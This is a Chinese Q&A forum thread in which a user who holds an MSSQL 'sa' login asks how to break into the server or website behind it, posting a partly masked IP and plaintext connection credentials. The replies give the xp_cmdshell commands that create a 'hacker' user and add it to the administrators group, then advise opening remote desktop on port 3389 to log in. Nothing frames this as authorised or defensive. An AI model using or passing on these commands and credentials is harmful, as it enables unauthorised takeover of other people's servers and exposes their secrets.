如何利用MSSQL入侵

来源：百度知道 编辑：UC知道 时间：2024/06/04 12:25:03
我现在有个MSSQL的sa权限 并且有密码

可以连接上

如何利用这些资源直接入侵服务器 或者是网站呢

请高人指点

52.78.x.x

connServerName = "LZWEB"
connDatabase = "articleSQL"
connUserName = "sa"
connPassword = "1865windowsserver"
不行的
密码不对

1、可以在啊D等工具中试试能不能直接加管理员。
2、用SQL连接工具连接IP52.78.x.x，用户名密码是你说的那些，然后执行如下SQL命令:1、exec master.dbo.xp_cmdshell 'net user hacker hacker /add'
2、exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'
把hacker加入到管理员组.

connPassword = "1865windowsserver"

connUserName = "sa"
用户名=SA
connPassword = "1865windowsserver
密码="1865windowsserver
多学学英语吧哥们 摆在你面前 的SA权限都不会用
SA权限的话 就是系统权限了 执行CMD 加帐户 开了3389
登陆吧